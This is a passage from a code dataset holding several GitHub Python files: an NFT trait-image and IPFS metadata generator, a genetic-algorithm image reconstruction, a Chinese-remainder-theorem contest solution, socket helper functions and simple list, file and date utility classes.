str(iteration))\n print(\"Token Counter: \" + str(digiHomie.tokenCounter()))\n\n # Generate image, metadata and upload to IPFS\n uri = generateHomies(iteration)\n print(\"URI: {}\".format(uri))\n\n if(setURI == True):\n transaction = digiHomie.adminMintHomie(\n uri, {\"from\": dev})\n print(\"Setting URI to {} \".format(uri))\n else:\n transaction = digiHomie.adminMintHomiePending(\n uri, {\"from\": dev})\n print(\"Setting URI to 'loading' URI\")\n transaction.wait(1)\n iteration = iteration+1\n\n\n##Sets URI to mapped value, exposing IPFS URI (image, desc etc)##\ndef resolveTokenURI(token_id):\n dev = accounts.add(config[\"wallets\"][\"from_key\"])\n print(\"Working on \" + network.show_active())\n\n # Print token URI, mapped and set\n print(\"Resolving URI for tokenId: {}\".format(token_id))\n uri = getTokenURI(token_id)\n print(\"URI is {}\".format(uri))\n mappedURI = getMappedURI(token_id)\n print(\"Mapped URI is {}\".format(mappedURI))\n\n # Set token to mapped value, print\n digiHomie = DigiHomie[len(DigiHomie) - 1]\n uri = digiHomie.tokenIdToURI(token_id)\n print(\"Resoving URI to mapped value: {}\".format(uri))\n digiHomie.setTokenURI(token_id, uri, {\"from\": dev})\n uri = getTokenURI(token_id)\n print(\"URI is {}\".format(uri))\n mappedURI = getMappedURI(token_id)\n print(\"Mapped URI is {}\".format(mappedURI))\n print('Please give up to 20 minutes, and \"refresh metadata\" button')\n\n\n##Resolve all URIs current not set (user Minted)##\ndef resolveAllTokensURIs():\n print(\"Working on \" + network.show_active())\n dev = accounts.add(config[\"wallets\"][\"from_key\"])\n digiHomie = DigiHomie[len(DigiHomie) - 1]\n number_of_homies = digiHomie.tokenCounter()\n print(\n \"The number of tokens you've deployed is: \"\n + str(number_of_homies))\n for token_id in range(number_of_homies):\n # Print mapped and URI\n currentURI = getTokenURI(token_id)\n print(\"Current URI is {}\".format(currentURI))\n mappedURI = getMappedURI(token_id)\n print(\"Mapped URI is {}\".format(mappedURI))\n\n if(digiHomie.tokenURI(token_id).startswith(\"ipfs://Qme9i2UjhqA6evVSWZaCHgSF4AvgQzsb4mVUDwP971ZNfL\")):\n print(\"Resolving token: {}\".format(token_id))\n\n uri = digiHomie.tokenIdToURI(token_id)\n print(\"Resoving URI to mapped value: {}\".format(uri))\n digiHomie.setTokenURI(token_id, uri, {\"from\": dev})\n # Print mapped and URI\n currentURI = getTokenURI(token_id)\n print(\"URI is {}\".format(currentURI))\n mappedURI = getMappedURI(token_id)\n print(\"Mapped URI is {}\".format(mappedURI))\n else:\n print(\"\\nSkipping {}, we already set that tokenURI!\".format(token_id))\n\n\ndef generate_meta_data(token_id):\n homie_metadata = sample_metadata.metadata_template\n homie_metadata[\"name\"] = str(token_id)\n homie_metadata[\"description\"] = 'An Eternal Ethereum Digital Homie!'\n homie_metadata[\"image\"] = ''\n homie_metadata[\"background_color\"] = '0F7CB3'\n # Will add image and attributes after creation of Homie (image, meta)\n homie_metadata[\"attributes\"] = []\n return homie_metadata\n\n\ndef generateRandomNumber(lowIn, highIn):\n rng = np.random.default_rng()\n ranNumberArray = rng.integers(low=lowIn, high=highIn, size=1)\n return int(ranNumberArray[0])\n\n\ndef generateHomies(token_id):\n # Generate metat data template\n data = generate_meta_data(token_id)\n\n body = generateRandomNumber(1, 6)\n eyes = generateRandomNumber(1, 8)\n mouth = generateRandomNumber(1, 7)\n # OPTIONAL - higher range equals increase randomness, less likely to align with exisiting feature\n hair = generateRandomNumber(0, 8)\n facialHair = generateRandomNumber(0, 10)\n jewelry = generateRandomNumber(0, 10)\n smoke = generateRandomNumber(0, 15)\n hat = generateRandomNumber(0, 15)\n glasses = generateRandomNumber(0, 10)\n mask = generateRandomNumber(0, 25)\n special = generateRandomNumber(0, 200)\n\n # Feature map\n bodyMap = createBodyMap()\n eyeMap = createEyeMap()\n mouthMap = createMouthMap()\n hairMap = createHairMap()\n facialHairMap = createFacialHairMap()\n jewelryMap = createJewelryMap()\n smokeMap = createSmokeMap()\n hatMap = createHatMap()\n glassesMap = createGlassesMap()\n maskMap = createMaskMap()\n specialMap = createSpecialMap()\n\n # Create data object for json file creation\n # data = createDataMap(i)\n\n Swag = 0\n\n # Special characteristic - Allow smoke & jewelry only\n if(0 < special <= 2):\n img0 = Image.open(ASSETFOLDER + \"Special/\" + str(special) + \".png\")\n data['attributes'].append(\n {\n 'trait_type': 'Special',\n 'value': specialMap[special]\n })\n print('Special' + str(special))\n Swag = Swag + 70\n if(0 < smoke <= 4):\n img6 = Image.open(ASSETFOLDER + \"Smoke/\" + str(smoke) + \".png\")\n img0.paste(img6, (0, 0), img6)\n data['attributes'].append(\n {\n 'trait_type': 'Smoke',\n 'value': smokeMap[smoke]\n })\n Swag = Swag + 10\n else:\n smoke = 0\n\n if(0 < jewelry <= 5):\n img5 = Image.open(ASSETFOLDER + \"Jewelry/\" + str(jewelry) + \".png\")\n img0.paste(img5, (0, 0), img5)\n data['attributes'].append(\n {\n 'trait_type': 'Jewelry',\n 'value': jewelryMap[jewelry]\n })\n if(jewelry >= 4):\n Swag = Swag + 20\n else:\n Swag = Swag + 10\n # img0.show()\n else:\n special = 0\n\n # Open Required pngs (Body, Eyes, Mouth)\n img0 = Image.open(ASSETFOLDER + \"Body/\" + str(body) + \".png\")\n data['attributes'].append(\n {\n 'trait_type': 'Body',\n 'value': bodyMap[body]\n })\n if(body > 3):\n Swag = Swag + 15\n img1 = Image.open(ASSETFOLDER + \"Eyes/\" + str(eyes) + \".png\")\n img2 = Image.open(ASSETFOLDER + \"Mouth/\" + str(mouth) + \".png\")\n\n # Paste Required PNGs\n img0.paste(img1, (0, 0), img1)\n data['attributes'].append(\n {\n 'trait_type': 'Eyes',\n 'value': eyeMap[eyes]\n })\n if(eyes == 7):\n Swag = Swag + 20\n if(eyes == 8):\n Swag = Swag + 25\n img0.paste(img2, (0, 0), img2)\n data['attributes'].append(\n {\n 'trait_type': 'Mouth',\n 'value': mouthMap[mouth]\n })\n if(mouth == 7):\n Swag = Swag + 10\n # Open AND Paste Optional PNGs\n if(0 < hair < 9):\n img3 = Image.open(ASSETFOLDER + \"Hair/\" + str(hair) + \".png\")\n img0.paste(img3, (0, 0), img3)\n data['attributes'].append(\n {\n 'trait_type': 'Hair',\n 'value': hairMap[hair]\n })\n if(3 < hair <= 6):\n Swag = Swag + 10\n if(hair >= 7):\n Swag = Swag + 15\n if(0 < facialHair <= 7):\n img4 = Image.open(ASSETFOLDER + \"FacialHair/\" +\n str(facialHair) + \".png\")\n img0.paste(img4, (0, 0), img4)\n data['attributes'].append(\n {\n 'trait_type': 'Facial Hair',\n 'value': facialHairMap[facialHair]\n })\n if(facialHair == 7):\n Swag = Swag + 10\n if(hair == 6):\n Swag = Swag + 5\n else:\n facialHair = 0\n if(0 < jewelry <= 5):\n img5 = Image.open(ASSETFOLDER + \"Jewelry/\" + str(jewelry) + \".png\")\n img0.paste(img5, (0, 0), img5)\n data['attributes'].append(\n {\n 'trait_type': 'Jewelry',\n 'value': jewelryMap[jewelry]\n })\n if(jewelry >= 4):\n Swag = Swag + 20\n if(jewelry < 4):\n Swag = Swag + 10\n else:\n jewelry = 0\n\n # Mask - If mask, no smoke, hat or glasses added\n if(0 < mask <= 5):\n if(mask < 3 and hair != 6):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n if(mask == 5):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 45\n if(2 < mask < 5):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 35\n if(mask <= 2):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 20\n else:\n if((0 < hat <= 4) and (hair != 6)):\n img7 = Image.open(ASSETFOLDER + \"Hat/\" + str(hat) + \".png\")\n img0.paste(img7, (0, 0), img7)\n data['attributes'].append(\n {\n 'trait_type': 'Hat',\n 'value': hatMap[hat]\n })\n if(hat == 4):\n Swag = Swag + 20\n else:\n Swag = Swag + 10\n else:\n hat = 0\n if(0 < smoke <= 4):\n img6 = Image.open(ASSETFOLDER + \"Smoke/\" + str(smoke) + \".png\")\n img0.paste(img6, (0, 0), img6)\n data['attributes'].append(\n {\n 'trait_type': 'Smoke',\n 'value': smokeMap[smoke]\n })\n Swag = Swag + 15\n else:\n smoke = 0\n if(0 < glasses <= 6):\n img8 = Image.open(ASSETFOLDER + \"Glasses/\" +\n str(glasses) + \".png\")\n img0.paste(img8, (0, 0), img8)\n data['attributes'].append(\n {\n 'trait_type': 'Glasses',\n 'value': glassesMap[glasses]\n })\n if(glasses <= 3):\n Swag = Swag + 15\n else:\n Swag = Swag = 5\n else:\n glasses = 0\n mask = 0 # img0.show()\n\n if(Swag > 100):\n Swag = 100\n data['attributes'].append(\n {\n 'display_type': 'boost_number',\n 'trait_type': 'Swag',\n 'value': Swag\n })\n # print(\"Swag: {}\".format(str(Swag)))\n\n # Create and save data\n folder = ASSETFOLDER + \"Homies/{}/\".format(str(token_id))\n if not os.path.isdir(folder):\n os.mkdir(folder)\n\n resized_img = img0.resize((300, 300), resample=Image.NEAREST)\n resized_img.save(folder + str(token_id) + '.png', \"PNG\")\n\n # img0.show()\n\n ##IFF upload to IPFS requested##\n image_to_upload = None\n meta_to_upload = None\n if os.getenv(\"UPLOAD_IPFS\") == \"true\":\n\n image_name = str(token_id) + \".png\"\n meta_name = str(token_id) + \".json\"\n\n # Image upload to IPFS\n image_path = folder + str(token_id) + '.png'\n print('ImagePath: ' + image_path)\n # Returns the image uri\n image_to_upload = upload_to_ipfs(image_path, image_name)\n # Set image property of metadata\n data['image'] = image_to_upload\n\n # Meta data upload to IPFS = returns meta\n meta_path = folder + str(token_id) + 'data.json'\n with open(folder + str(token_id) + 'data.json', 'w') as f:\n json.dump(data, f)\n # Returns the meta uri\n meta_to_upload = upload_to_ipfs(meta_path, meta_name)\n return meta_to_upload\n\n\n# Upload and PIN to IPFS service\ndef upload_to_ipfs(filepath, name):\n with Path(filepath).open(\"rb\") as fp:\n image_binary = fp.read()\n ipfs_url = \"http://localhost:5001\"\n response = requests.post(\n ipfs_url + \"/api/v0/add\", files={\"file\": image_binary})\n print(\"Hash \" + response.json()['Hash'])\n ipfs_hash = response.json()['Hash']\n filename = filepath.split(\"/\")[-1:][0]\n print(\"Filename \" + filename)\n uriForOS = \"ipfs://{}\".format(ipfs_hash)\n print(\"URI \" + uriForOS)\n\n # NOTE Commented out, pin queue is async\n # ipfs_pin_command = \"ipfs pin remote add --service=Pinata {}\".format(ipfs_hash)\n # pin_response =\n requests.post(\n ipfs_url + \"/api/v0/pin/remote/add?arg={}&name={}&service=Pinata\".format(ipfs_hash, name))\n # print(pin_response)\n return uriForOS\n return None\n\n\ndef createBodyMap():\n bodyMap = {\n 1: 'Thin',\n 2: 'Thin',\n 3: 'Thin',\n 4: 'Thick',\n 5: 'Thick',\n 6: 'Thick'\n }\n return bodyMap\n\n\ndef createEyeMap():\n eyeMap = {\n 1: 'Normal',\n 2: 'Normal',\n 3: 'Squint',\n 4: 'Squint',\n 5: 'Peer',\n 6: 'Peep',\n 7: 'Gold',\n 8: 'Diamond'\n }\n return eyeMap\n\n\ndef createMouthMap():\n mouthMap = {\n 1: 'Normal',\n 2: 'Grin',\n 3: 'Smile',\n 4: 'Ohh',\n 5: 'Lips',\n 6: 'Missing Tooth',\n 7: 'Gold Tooth'\n }\n return mouthMap\n\n\ndef createHairMap():\n hairMap = {\n 1: 'Black',\n 2: 'Brown',\n 3: 'Gray',\n 4: 'Pink',\n 5: 'Comb-Over',\n 6: 'Man-Bun',\n 7: 'Corn-Rows',\n 8: 'Mullet'\n }\n return hairMap\n\n\ndef createFacialHairMap():\n facialHairMap = {\n 1: 'Light',\n 2: 'Stuble',\n 3: 'Handle-Bar',\n 4: 'Light Handle-Bar',\n 5: 'Grey Beard',\n 6: 'Moustache',\n 7: 'Handle-Bar'\n }\n return facialHairMap\n\n\ndef createJewelryMap():\n jewelryMap = {\n 1: 'Gold Chain',\n 2: 'Gold Chain & Earring',\n 3: 'Diamond Chain',\n 4: 'Diamond Chain, Earring & Nose Ring',\n 5: 'XL Gold Chain & Diamond Earring'\n }\n return jewelryMap\n\n\ndef createSmokeMap():\n smokeMap = {\n 1: 'Cigarette',\n 2: 'Joint Sativa',\n 3: 'Jeferey',\n 4: 'Joint Indica'\n }\n return smokeMap\n\n\ndef createHatMap():\n hatMap = {\n 1: 'Bonzai',\n 2: 'Backwards Cap',\n 3: 'DuRag',\n 4: 'Crown'\n }\n return hatMap\n\n\ndef createGlassesMap():\n glassesMap = {\n 1: 'Carerra',\n 2: 'Miami',\n 3: 'Dahmers',\n 4: 'Dark Dahmers',\n 5: 'Pink Stunners',\n 6: 'Patch'\n }\n return glassesMap\n\n\ndef createMaskMap():\n maskMap = {\n 1: 'Balaklava',\n 2: 'Ninja',\n 3: 'Doom',\n 4: 'Doom 2',\n 5: 'Jason'\n }\n return maskMap\n\n\ndef createSpecialMap():\n specialMap = {\n 1: 'Alien',\n 2: 'Death'\n }\n return specialMap\n\n\ndef generateHomiesAndFilesTEST(token_id):\n # Generate metat data template\n data = generate_meta_data(token_id)\n\n body = generateRandomNumber(1, 6)\n eyes = generateRandomNumber(1, 8)\n mouth = generateRandomNumber(1, 7)\n # OPTIONAL - higher range equals increase randomness, less likely to align with exisiting feature\n hair = generateRandomNumber(0, 8)\n facialHair = generateRandomNumber(0, 10)\n jewelry = generateRandomNumber(0, 10)\n smoke = generateRandomNumber(0, 15)\n hat = generateRandomNumber(0, 15)\n glasses = generateRandomNumber(0, 10)\n mask = generateRandomNumber(0, 25)\n special = generateRandomNumber(0, 200)\n\n # Feature map\n bodyMap = createBodyMap()\n eyeMap = createEyeMap()\n mouthMap = createMouthMap()\n hairMap = createHairMap()\n facialHairMap = createFacialHairMap()\n jewelryMap = createJewelryMap()\n smokeMap = createSmokeMap()\n hatMap = createHatMap()\n glassesMap = createGlassesMap()\n maskMap = createMaskMap()\n specialMap = createSpecialMap()\n\n # Create data object for json file creation\n # data = createDataMap(i)\n\n Swag = 0\n\n # Special characteristic - Allow smoke & jewelry only\n if(0 < special <= 2):\n img0 = Image.open(ASSETFOLDER + \"Special/\" + str(special) + \".png\")\n data['attributes'].append(\n {\n 'trait_type': 'Special',\n 'value': specialMap[special]\n })\n print('Special' + str(special))\n Swag = Swag + 70\n if(0 < smoke <= 4):\n img6 = Image.open(ASSETFOLDER + \"Smoke/\" + str(smoke) + \".png\")\n img0.paste(img6, (0, 0), img6)\n data['attributes'].append(\n {\n 'trait_type': 'Smoke',\n 'value': smokeMap[smoke]\n })\n Swag = Swag + 10\n else:\n smoke = 0\n\n if(0 < jewelry <= 5):\n img5 = Image.open(ASSETFOLDER + \"Jewelry/\" + str(jewelry) + \".png\")\n img0.paste(img5, (0, 0), img5)\n data['attributes'].append(\n {\n 'trait_type': 'Jewelry',\n 'value': jewelryMap[jewelry]\n })\n if(jewelry >= 4):\n Swag = Swag + 20\n else:\n Swag = Swag + 10\n # img0.show()\n else:\n special = 0\n\n # Open Required pngs (Body, Eyes, Mouth)\n img0 = Image.open(ASSETFOLDER + \"Body/\" + str(body) + \".png\")\n data['attributes'].append(\n {\n 'trait_type': 'Body',\n 'value': bodyMap[body]\n })\n if(body > 3):\n Swag = Swag + 15\n img1 = Image.open(ASSETFOLDER + \"Eyes/\" + str(eyes) + \".png\")\n img2 = Image.open(ASSETFOLDER + \"Mouth/\" + str(mouth) + \".png\")\n\n # Paste Required PNGs\n img0.paste(img1, (0, 0), img1)\n data['attributes'].append(\n {\n 'trait_type': 'Eyes',\n 'value': eyeMap[eyes]\n })\n if(eyes == 7):\n Swag = Swag + 20\n if(eyes == 8):\n Swag = Swag + 25\n img0.paste(img2, (0, 0), img2)\n data['attributes'].append(\n {\n 'trait_type': 'Mouth',\n 'value': mouthMap[mouth]\n })\n if(mouth == 7):\n Swag = Swag + 10\n # Open AND Paste Optional PNGs\n if(0 < hair < 9):\n img3 = Image.open(ASSETFOLDER + \"Hair/\" + str(hair) + \".png\")\n img0.paste(img3, (0, 0), img3)\n data['attributes'].append(\n {\n 'trait_type': 'Hair',\n 'value': hairMap[hair]\n })\n if(3 < hair <= 6):\n Swag = Swag + 10\n if(hair >= 7):\n Swag = Swag + 15\n if(0 < facialHair <= 7):\n img4 = Image.open(ASSETFOLDER + \"FacialHair/\" +\n str(facialHair) + \".png\")\n img0.paste(img4, (0, 0), img4)\n data['attributes'].append(\n {\n 'trait_type': 'Facial Hair',\n 'value': facialHairMap[facialHair]\n })\n if(facialHair == 7):\n Swag = Swag + 10\n if(hair == 6):\n Swag = Swag + 5\n else:\n facialHair = 0\n if(0 < jewelry <= 5):\n img5 = Image.open(ASSETFOLDER + \"Jewelry/\" + str(jewelry) + \".png\")\n img0.paste(img5, (0, 0), img5)\n data['attributes'].append(\n {\n 'trait_type': 'Jewelry',\n 'value': jewelryMap[jewelry]\n })\n if(jewelry >= 4):\n Swag = Swag + 20\n if(jewelry < 4):\n Swag = Swag + 10\n else:\n jewelry = 0\n\n # Mask - If mask, no smoke, hat or glasses added\n if(0 < mask <= 5):\n if(mask < 3 and hair != 6):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n if(mask == 5):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 45\n if(2 < mask < 5):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 35\n if(mask <= 2):\n img9 = Image.open(ASSETFOLDER + \"Mask/\" + str(mask) + \".png\")\n img0.paste(img9, (0, 0), img9)\n data['attributes'].append(\n {\n 'trait_type': 'Mask',\n 'value': maskMap[mask]\n })\n Swag = Swag + 20\n else:\n if((0 < hat <= 4) and (hair != 6)):\n img7 = Image.open(ASSETFOLDER + \"Hat/\" + str(hat) + \".png\")\n img0.paste(img7, (0, 0), img7)\n data['attributes'].append(\n {\n 'trait_type': 'Hat',\n 'value': hatMap[hat]\n })\n if(hat == 4):\n Swag = Swag + 20\n else:\n Swag = Swag + 10\n else:\n hat = 0\n if(0 < smoke <= 4):\n img6 = Image.open(ASSETFOLDER + \"Smoke/\" + str(smoke) + \".png\")\n img0.paste(img6, (0, 0), img6)\n data['attributes'].append(\n {\n 'trait_type': 'Smoke',\n 'value': smokeMap[smoke]\n })\n Swag = Swag + 15\n else:\n smoke = 0\n if(0 < glasses <= 6):\n img8 = Image.open(ASSETFOLDER + \"Glasses/\" +\n str(glasses) + \".png\")\n img0.paste(img8, (0, 0), img8)\n data['attributes'].append(\n {\n 'trait_type': 'Glasses',\n 'value': glassesMap[glasses]\n })\n if(glasses <= 3):\n Swag = Swag + 15\n else:\n Swag = Swag = 5\n else:\n glasses = 0\n mask = 0 # img0.show()\n\n if(Swag > 100):\n Swag = 100\n data['attributes'].append(\n {\n 'display_type': 'boost_number',\n 'trait_type': 'Swag',\n 'value': Swag\n })\n # print(\"Swag: {}\".format(str(Swag)))\n\n # Create and save data\n folder = ASSETFOLDER + \"Homies/{}/\".format(str(token_id))\n if not os.path.isdir(folder):\n os.mkdir(folder)\n\n resized_img = img0.resize((300, 300), resample=Image.NEAREST)\n resized_img.save(folder + str(token_id) + '.png', \"PNG\")\n\n image_path = folder + str(token_id) + '.png'\n\n # Meta data upload to IPFS = returns meta\n with open(folder + str(token_id) + '.json', 'w') as f:\n json.dump(data, f)\n\n # img0.show()\n print(\"Gernation of NFT number {} complete.\".format(token_id))\n","repo_name":"Park-City-Utah/NFTDigiHomies","sub_path":"chainlink/scripts/homie_scripts/create_homies.py","file_name":"create_homies.py","file_ext":"py","file_size_in_byte":30129,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"15320920451","text":"import random\nfrom PIL import Image\nimport cv2\nimport numpy as np\nimport imageio # For gif saving\nfrom src.constants import *\nfrom src.utils import Utils\n\n\ndef info(image, text, coordinates):\n font = cv2.FONT_HERSHEY_SIMPLEX\n fontScale = 1\n color = (255, 0, 255)\n thickness = 1\n image = cv2.putText(image, text, coordinates, font,\n fontScale, color, thickness, cv2.LINE_AA)\n\n\ndef combine(img1, img2):\n h1, w1 = img1.shape[:2]\n h2, w2 = img2.shape[:2]\n\n # create empty matrix\n vis = np.zeros((max(h1, h2), w1+w2), np.uint8)\n\n # combine 2 images\n vis[:h1, :w1] = img1\n vis[:h2, w1:w1+w2] = img2\n return vis\n\n\nc = 0\n\n\ndef pipleline(path_to_img, shape):\n\n # Loading image convering to B/W\n target_img = Image.open(path_to_img).convert(\"L\")\n\n gif_imgs = [] # Creating empty frames list for gif saving at the end\n\n # Creating first generation\n utils = Utils(target_img, shape)\n print(shape)\n population = utils.create_random_population(POPULATION_NUMBER)\n blck_img = np.zeros(\n (target_img.size[1], target_img.size[0] + 200), dtype=np.uint8)\n\n # Looping through generations\n for generation in range(0, NUMBER_OF_GENERATIONS):\n\n # Calculating similarity of each image in population to original image\n fitnesses = []\n for img in population:\n actual_fitness = utils.evaluate_fitness(img)\n fitnesses.append(actual_fitness)\n\n # Get ids of best images in population\n top_population_ids = np.argsort(fitnesses)[-ELITISM_NUMBER:]\n\n # Creating new population for next generation\n new_population = []\n\n # Connect parent into pairs\n parents_list = utils.get_parents(population, fitnesses)\n\n # Creating childs\n for i in range(0, POPULATION_NUMBER):\n new_img = utils.crossover(parents_list[i][0], parents_list[i][1])\n # Mutate\n if random.uniform(0.0, 1.0) < MUTATION_CHANCE:\n new_img = utils.mutate(new_img, MUTATION_STRENGTH)\n new_population.append(new_img)\n\n # Elitism transfer\n if ELITISM:\n for ids in top_population_ids:\n new_population.append(population[ids])\n\n # Get best actual image and show it\n open_cv_image = np.array(population[top_population_ids[0]])\n open_cv_image = combine(open_cv_image, blck_img)\n open_cv_image = combine(open_cv_image, np.asarray(target_img))\n info(open_cv_image,\n f\"Generation : {generation}\", (target_img.size[0] + 100, 50))\n info(open_cv_image,\n f\"Fitness : {top_population_ids[0]}\", (target_img.size[0] + 100, 100))\n # Gif creation\n\n ret, buffer = cv2.imencode('.jpg', open_cv_image)\n frame = buffer.tobytes()\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + frame + b'\\r\\n')\n\n if generation % SAVE_FRAME_FOR_GIF_EVERY == 0:\n gif_imgs.append(open_cv_image)\n\n population = new_population\n\n # Save gif and best output\n imageio.mimsave(f\"outputs/gifs/output.gif\", gif_imgs)\n cv2.imwrite(f\"outputs/imgs/output.jpg\", open_cv_image)\n","repo_name":"iamAbhishekkumar/Image-Reconstruction-using-GA","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25655983765","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\ndef inv_gcd(a, b):\n a %= b\n if a == 0:\n return b, 0\n \n s, t = b, a\n m0, m1 = 0, 1\n while t:\n u = s // t\n s -= t * u\n m0 -= m1 * u\n s, t = t, s\n m0, m1 = m1, m0\n \n if m0 < 0:\n m0 += b // s\n return s, m0\n\n\ndef crt(r, m):\n # assert len(r) == len(m)\n n = len(r)\n r0, m0 = 0, 1\n for i in range(n):\n # assert 1 <= m[i]\n r1, m1 = r[i] % m[i], m[i]\n if m0 < m1:\n r0, r1 = r1, r0\n m0, m1 = m1, m0\n if m0 % m1 == 0:\n if r0 % m1 != r1:\n return [0, 0]\n continue\n \n g, im = inv_gcd(m0, m1)\n if (r1 - r0) % g:\n return [0, 0]\n \n u1 = m0 * m1 // g\n r0 += (r1 - r0) // g * m0 * im % u1\n m0 = u1\n return r0, m0\n\n\ndef solve():\n N, S, K = map(int, rl().split())\n \n y, m = crt((0, N - S), (K, N))\n if m == 0:\n return -1\n else:\n return y // K\n\n\nif __name__ == '__main__':\n T = int(rl())\n ans = []\n for _ in range(T):\n ans.append(solve())\n print('\\n'.join(map(str, ans)))\n","repo_name":"yuly3/atcoder","sub_path":"ABC/ABC186/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"73271568466","text":"import socket\nimport struct\nimport _thread\n\ndef receve(socket: socket.socket, size: int, max_size: int, packet: str) -> tuple:\n \"\"\"Recebe mensagem do sensor cria botao e label e encaminha para funcao que trata.\n\n :type socket: socket.socket\n :type size: int\n :type max_size: int\n :type packet: str\n Retorna uma mensagem descompactada no farmato tuple \"\"\"\n\n mensagem = socket.recv(max_size)\n pack_size = len(mensagem) - size\n mask_format = packet + str(pack_size) + 's'\n return struct.unpack(mask_format, mensagem)\n\n\ndef mySend(tcpServer, pack, Id, timeData, data):\n\n mask_format = pack + str(len(data.encode('utf-8'))) + 's'\n msg = struct.pack(mask_format, Id, timeData, data.encode('utf-8'))\n tcpServer.send(msg)\n\n\ndef newConection(tcp, function) -> None:\n while True:\n\n conn, client = tcp.accept()\n _thread.start_new_thread(function, tuple([conn, client]))\n\n\ndef searchId(objects: dict, id: int) -> bool:\n for ob in objects:\n if objects[ob].getId() == id:\n return True\n return False\n\n\ndef searchConn(objects: dict, id: tuple) -> int:\n for ob in objects:\n if objects[ob].getConexao() == id:\n return ob\n return False","repo_name":"alexandrejastrow/trabalho_redes","sub_path":"RedesAlexandre/Functions/FunctionsSystema.py","file_name":"FunctionsSystema.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36581354200","text":"from typing import Any\n\nclass ListManipulator:\n def __init__(self, my_list: list):\n self._my_list = my_list\n\n def get_length(self) -> int:\n return len(self._my_list)\n\n def add_element(self, element: Any) -> None:\n self._my_list.append(element)\n\n def remove_element(self, element: Any) -> None:\n try:\n self._my_list.remove(element)\n except ValueError:\n raise ValueError(f\"{element} not found in the list\")\n\n def get_element_at_index(self, index: int) -> Any:\n try:\n return self._my_list[index]\n except IndexError:\n raise IndexError(\"Index out of range\")\n\n @staticmethod\n def merge_lists(list1: list, list2: list) -> list:\n return list1 + list2\n\n# Пример использования класса ListManipulator:\n\nmy_list = [1, 2, 3, 4, 5]\nlist_manager = ListManipulator(my_list)\n\nprint(\"Initial List:\", my_list)\nprint(\"Length of List:\", list_manager.get_length())\n\nlist_manager.add_element(6)\nprint(\"List after adding 6:\", my_list)\n\nlist_manager.remove_element(3)\nprint(\"List after removing 3:\", my_list)\n\nelement_at_index = list_manager.get_element_at_index(2)\nprint(\"Element at index 2:\", element_at_index)\n\nlist1 = [1, 2, 3]\nlist2 = [4, 5, 6]\nmerged_list = ListManipulator.merge_lists(list1, list2)\nprint(\"Merged List:\", merged_list)\n#________________________________________________________________________________________________\n\nclass FileManager:\n def __init__(self, file_name: str):\n self._file_name = file_name\n\n def read_file(self) -> str:\n try:\n with open(self._file_name, 'r') as file:\n return file.read()\n except FileNotFoundError:\n return \"File not found\"\n\n def write_to_file(self, content: str) -> None:\n with open(self._file_name, 'w') as file:\n file.write(content)\n\n# Пример использования класса FileManager:\n\nfile_manager = FileManager(\"sample.txt\")\nfile_content = file_manager.read_file()\nprint(\"File Content:\")\nprint(file_content)\n\nnew_content = \"This is the new content.\"\nfile_manager.write_to_file(new_content)\nupdated_content = file_manager.read_file()\nprint(\"Updated File Content:\")\nprint(updated_content)\n\n#________________________________________________________________________________________________\n\nfrom datetime import datetime, timedelta\n\nclass DateTimeManager:\n def __init__(self):\n self.current_datetime = datetime.now()\n\n def add_days(self, days: int) -> None:\n self.current_datetime += timedelta(days=days)\n\n def subtract_days(self, days: int) -> None:\n self.current_datetime -= timedelta(days=days)\n\n def format_date(self, format_string: str) -> str:\n return self.current_datetime.strftime(format_string)\n\n# Пример использования класса DateTimeManager:\n\ndate_manager = DateTimeManager()\n\nprint(\"Current Date and Time:\", date_manager.current_datetime)\ndate_manager.add_days(7)\nprint(\"Date after adding 7 days:\", date_manager.current_datetime)\ndate_manager.subtract_days(3)\nprint(\"Date after subtracting 3 days:\", date_manager.current_datetime)\n\nformatted_date = date_manager.format_date(\"%Y-%m-%d %H:%M:%S\")\nprint(\"Formatted Date:\", formatted_date)\n","repo_name":"Asirush/python","sub_path":"hw/hw_18/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5915967454","text":"import numpy as np\nimport lab\nimport data\n\na0 = 2\nar = 10\nkf = 0.15\nkr = 0.9\n\nt = 200\n\n#data = np.load('data.npz')\n#pettern0 = [data['a'],data['b'],data['c'],data['d']]\npettern0 = 